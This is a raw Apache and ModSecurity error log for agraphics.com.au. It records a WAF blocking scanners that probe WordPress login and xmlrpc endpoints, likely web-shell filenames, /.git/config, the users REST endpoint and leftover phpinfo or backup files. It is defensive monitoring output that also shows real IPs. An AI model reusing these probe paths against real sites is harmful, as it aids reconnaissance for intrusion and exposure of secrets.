[Fri Feb 13 13:58:42.954323 2026] [:error] [pid 46821:tid 46841] [client 193.36.225.163:25423] [client 193.36.225.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.163, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aY69ko6G1N5YSq0J0gfL9wAAAVI"]
[Fri Feb 13 13:58:43.056935 2026] [proxy_fcgi:error] [pid 46821:tid 46841] [client 193.36.225.163:25423] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 16:48:09.422188 2026] [:error] [pid 18097:tid 18121] [client 20.194.99.132:6340] [client 20.194.99.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aY7lSXFzYiQ_BfaDDlb_mAAAAZY"]
[Fri Feb 13 16:48:09.710406 2026] [:error] [pid 49223:tid 49235] [client 20.194.99.132:6338] [client 20.194.99.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aY7lSR8A_fZBamNLnfUmdAAAAAM"]
[Fri Feb 13 16:48:09.988213 2026] [:error] [pid 49225:tid 49309] [client 20.194.99.132:6345] [client 20.194.99.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aY7lSTwH8-zGxtAd3jvg3AAAAI8"]
[Fri Feb 13 16:48:10.303115 2026] [:error] [pid 18097:tid 18106] [client 20.194.99.132:6382] [client 20.194.99.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aY7lSnFzYiQ_BfaDDlb_nAAAAYc"]
[Fri Feb 13 21:22:03.750627 2026] [:error] [pid 49225:tid 49303] [client 136.158.2.125:19914] [client 136.158.2.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.2.125, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aY8lezwH8-zGxtAd3jsYhwAAAIk"]
[Fri Feb 13 21:22:03.762302 2026] [proxy_fcgi:error] [pid 49225:tid 49303] [client 136.158.2.125:19914] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 22:52:11.773748 2026] [proxy_fcgi:error] [pid 47080:tid 47094] [client 89.187.168.103:6224] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/archivarix.cms.php
[Sat Feb 14 02:57:06.916848 2026] [:error] [pid 51243:tid 51249] [client 176.96.137.48:46244] [client 176.96.137.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/security.txt"] [unique_id "aY90Asim7ZTAHzi7xZsKmQAAAQQ"]
[Sat Feb 14 02:57:07.843502 2026] [:error] [pid 47080:tid 47088] [client 176.96.137.48:46250] [client 176.96.137.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/security.txt"] [unique_id "aY90A0bWJwYCVF39z6u6YwAAAcA"]
[Sat Feb 14 12:57:29.335358 2026] [autoindex:error] [pid 8039:tid 8049] [client 139.59.24.163:64414] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Feb 15 13:14:01.039915 2026] [autoindex:error] [pid 42659:tid 42676] [client 167.86.118.77:49881] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Feb 16 01:34:53.031784 2026] [:error] [pid 42752:tid 42777] [client 154.82.168.3:40646] [client 154.82.168.3] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aZIDvcClY05C-Gq9l0iNGwAAAtI"], referer: https://agraphics.com.au
[Mon Feb 16 01:34:57.531059 2026] [:error] [pid 35560:tid 35637] [client 154.86.114.169:58322] [client 154.86.114.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.86.114.169, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aZIDwQZSChHPc3occZ5zZAAAAxQ"], referer: https://agraphics.com.au/wp-login.php
[Mon Feb 16 01:34:57.543735 2026] [proxy_fcgi:error] [pid 35560:tid 35637] [client 154.86.114.169:58322] AH01071: Got error 'Primary script unknown', referer: https://agraphics.com.au/wp-login.php
[Mon Feb 16 01:34:59.682397 2026] [:error] [pid 35497:tid 35541] [client 156.239.193.238:48132] [client 156.239.193.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 156.239.193.238, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aZIDw8yqpfYzoxiskhu-WwAAAM4"], referer: https://agraphics.com.au/wp-login.php
[Mon Feb 16 01:34:59.690625 2026] [proxy_fcgi:error] [pid 35497:tid 35541] [client 156.239.193.238:48132] AH01071: Got error 'Primary script unknown', referer: https://agraphics.com.au/wp-login.php
[Mon Feb 16 01:35:01.250736 2026] [:error] [pid 19652:tid 19674] [client 154.82.168.117:51010] [client 154.82.168.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.82.168.117, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aZIDxTHg2T9K5fiyOL9T-AAAABQ"], referer: https://agraphics.com.au/wp-login.php
[Mon Feb 16 01:35:01.257785 2026] [proxy_fcgi:error] [pid 19652:tid 19674] [client 154.82.168.117:51010] AH01071: Got error 'Primary script unknown', referer: https://agraphics.com.au/wp-login.php
[Tue Feb 17 02:45:33.903860 2026] [:error] [pid 4347:tid 4373] [client 157.245.146.102:56596] [client 157.245.146.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aZNlzTFcjv6pEAnSEidE4gAAAAU"]
[Tue Feb 17 06:12:18.841810 2026] [proxy_fcgi:error] [pid 58552:tid 58602] [client 68.221.64.54:38789] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 06:12:19.099789 2026] [proxy_fcgi:error] [pid 58552:tid 58614] [client 68.221.64.54:38789] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 06:12:19.352545 2026] [proxy_fcgi:error] [pid 58552:tid 58603] [client 68.221.64.54:38789] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 06:12:19.599875 2026] [proxy_fcgi:error] [pid 58552:tid 58611] [client 68.221.64.54:38789] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 06:12:19.842498 2026] [proxy_fcgi:error] [pid 58552:tid 58601] [client 68.221.64.54:38789] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 06:12:20.085826 2026] [proxy_fcgi:error] [pid 58552:tid 58610] [client 68.221.64.54:38789] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 06:12:20.423492 2026] [proxy_fcgi:error] [pid 58552:tid 58618] [client 68.221.64.54:38789] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 06:12:20.680164 2026] [proxy_fcgi:error] [pid 58552:tid 58606] [client 68.221.64.54:38789] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 06:12:20.932271 2026] [proxy_fcgi:error] [pid 58552:tid 58607] [client 68.221.64.54:38789] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 06:12:21.184873 2026] [proxy_fcgi:error] [pid 58552:tid 58596] [client 68.221.64.54:38789] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 06:12:21.425264 2026] [:error] [pid 58552:tid 58598] [client 68.221.64.54:38789] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aZOWRTBHVJP2Oz3yR5fnjAAAAEM"]
[Tue Feb 17 06:12:26.835861 2026] [:error] [pid 32790:tid 32809] [client 68.221.64.54:10467] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aZOWSns3HJP9ozPHsN7bHwAAAQ8"]
[Tue Feb 17 06:12:27.998095 2026] [:error] [pid 58552:tid 58605] [client 68.221.64.54:8360] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aZOWSzBHVJP2Oz3yR5fnmAAAAEo"]
[Tue Feb 17 06:12:30.373167 2026] [:error] [pid 32790:tid 32813] [client 68.221.64.54:14798] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aZOWTns3HJP9ozPHsN7bJAAAARM"]
[Tue Feb 17 06:12:31.330813 2026] [:error] [pid 58551:tid 58574] [client 68.221.64.54:25620] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aZOWT61t8eWr-MgFsppq1QAAAA4"]
[Tue Feb 17 06:12:32.481564 2026] [:error] [pid 32790:tid 32811] [client 68.221.64.54:16710] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aZOWUHs3HJP9ozPHsN7bJwAAARE"]
[Tue Feb 17 06:12:35.036480 2026] [:error] [pid 32790:tid 32803] [client 68.221.64.54:26688] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aZOWU3s3HJP9ozPHsN7bKgAAAQk"]
[Tue Feb 17 06:12:36.222399 2026] [:error] [pid 58551:tid 58564] [client 68.221.64.54:8955] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aZOWVK1t8eWr-MgFsppq3AAAAAQ"]
[Tue Feb 17 06:12:38.626455 2026] [:error] [pid 58659:tid 58664] [client 68.221.64.54:35351] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff.php"] [unique_id "aZOWVsDX32iTEO4jt2_w9wAAAMM"]
[Tue Feb 17 06:12:41.291067 2026] [:error] [pid 32790:tid 32794] [client 68.221.64.54:36469] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff.php"] [unique_id "aZOWWXs3HJP9ozPHsN7bOAAAAQA"]
[Tue Feb 17 06:12:49.555251 2026] [:error] [pid 58558:tid 58624] [client 68.221.64.54:9693] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff.php"] [unique_id "aZOWYSmIxlfUL2nViZy1HAAAAII"]
[Tue Feb 17 06:12:50.983046 2026] [:error] [pid 32790:tid 32806] [client 68.221.64.54:7120] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff.php"] [unique_id "aZOWYns3HJP9ozPHsN7bPgAAAQw"]
[Tue Feb 17 06:12:52.136718 2026] [:error] [pid 58659:tid 58674] [client 68.221.64.54:12110] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ak.php/wp-admin/async-upload.php"] [unique_id "aZOWZMDX32iTEO4jt2_xCwAAAM0"]
[Tue Feb 17 06:12:53.863828 2026] [:error] [pid 58552:tid 58606] [client 68.221.64.54:36443] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ak.php/wp-admin/async-upload.php"] [unique_id "aZOWZTBHVJP2Oz3yR5fn2wAAAEs"]
[Tue Feb 17 06:12:56.207966 2026] [:error] [pid 58551:tid 58580] [client 68.221.64.54:12121] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ak.php/wp-admin/async-upload.php"] [unique_id "aZOWaK1t8eWr-MgFspprCwAAABQ"]
[Tue Feb 17 06:12:56.902406 2026] [:error] [pid 58558:tid 58639] [client 68.221.64.54:9719] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ak.php/wp-admin/async-upload.php"] [unique_id "aZOWaCmIxlfUL2nViZy1RgAAAJE"]
[Tue Feb 17 06:12:58.464720 2026] [:error] [pid 58558:tid 58644] [client 68.221.64.54:19019] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "aZOWaimIxlfUL2nViZy1SQAAAJY"]
[Tue Feb 17 06:13:01.306662 2026] [:error] [pid 32790:tid 32808] [client 68.221.64.54:27710] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "aZOWbXs3HJP9ozPHsN7bSAAAAQ4"]
[Tue Feb 17 06:13:01.911997 2026] [:error] [pid 58659:tid 58667] [client 68.221.64.54:11728] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "aZOWbcDX32iTEO4jt2_xHgAAAMY"]
[Tue Feb 17 06:13:02.932589 2026] [:error] [pid 58552:tid 58613] [client 68.221.64.54:19036] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "aZOWbjBHVJP2Oz3yR5fn5AAAAFI"]
[Tue Feb 17 06:13:03.701031 2026] [:error] [pid 32790:tid 32813] [client 68.221.64.54:11682] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aZOWb3s3HJP9ozPHsN7bUwAAARM"]
[Tue Feb 17 06:13:04.648872 2026] [:error] [pid 58659:tid 58675] [client 68.221.64.54:9711] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aZOWcMDX32iTEO4jt2_xKAAAAM4"]
[Tue Feb 17 06:13:05.319150 2026] [:error] [pid 58659:tid 58672] [client 68.221.64.54:21577] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aZOWccDX32iTEO4jt2_xKgAAAMs"]
[Tue Feb 17 06:13:06.109160 2026] [:error] [pid 58659:tid 58670] [client 68.221.64.54:15912] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aZOWcsDX32iTEO4jt2_xLQAAAMk"]
[Tue Feb 17 06:13:13.171464 2026] [:error] [pid 58551:tid 58582] [client 68.221.64.54:39047] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aZOWea1t8eWr-MgFspprJAAAABY"]
[Tue Feb 17 06:13:14.257950 2026] [:error] [pid 32790:tid 32804] [client 68.221.64.54:11733] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aZOWens3HJP9ozPHsN7bcAAAAQo"]
[Tue Feb 17 06:13:15.393389 2026] [:error] [pid 58558:tid 58644] [client 68.221.64.54:27656] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aZOWeymIxlfUL2nViZy1eAAAAJY"]
[Tue Feb 17 06:13:18.614339 2026] [:error] [pid 32790:tid 32809] [client 68.221.64.54:8731] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aZOWfns3HJP9ozPHsN7beQAAAQ8"]
[Tue Feb 17 06:13:20.350206 2026] [:error] [pid 58551:tid 58564] [client 68.221.64.54:35328] [client 68.221.64.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php/wp-admin/index.php"] [unique_id "aZOWgK1t8eWr-MgFspprMQAAAAQ"]
[Tue Feb 17 06:13:21.294447 2026] [proxy_fcgi:error] [pid 58659:tid 58669] [client 68.221.64.54:21612] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 06:13:21.534507 2026] [:error] [pid 58659:tid 58663] [client 68.221.64.54:21612] [client 68.221.64.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aZOWgcDX32iTEO4jt2_xSgAAAMI"]
[Tue Feb 17 06:13:22.300740 2026] [proxy_fcgi:error] [pid 32790:tid 32809] [client 68.221.64.54:22095] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 06:28:33.213022 2026] [autoindex:error] [pid 58659:tid 58674] [client 207.180.241.56:57605] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Feb 17 07:26:19.566494 2026] [:error] [pid 32790:tid 32799] [client 167.86.111.253:41050] [client 167.86.111.253] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/info.php.bak"] [unique_id "aZOnm3s3HJP9ozPHsN4LmwAAAQU"]
[Tue Feb 17 07:26:21.474719 2026] [proxy_fcgi:error] [pid 58552:tid 58618] [client 167.86.111.253:41064] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 07:26:28.005829 2026] [proxy_fcgi:error] [pid 32790:tid 32814] [client 167.86.111.253:57762] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 07:26:28.010427 2026] [:error] [pid 32790:tid 32802] [client 167.86.111.253:57778] File does not exist: /home/agraphicscom/public_html/info.php.1
[Tue Feb 17 07:26:29.495978 2026] [proxy_fcgi:error] [pid 58551:tid 58566] [client 167.86.111.253:57798] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 07:26:35.624840 2026] [proxy_fcgi:error] [pid 58552:tid 58597] [client 167.86.111.253:51958] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 07:26:41.528712 2026] [proxy_fcgi:error] [pid 32790:tid 32805] [client 167.86.111.253:51970] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 07:26:42.131344 2026] [:error] [pid 32790:tid 32814] [client 167.86.111.253:51980] File does not exist: /home/agraphicscom/public_html/phpinfo.php3
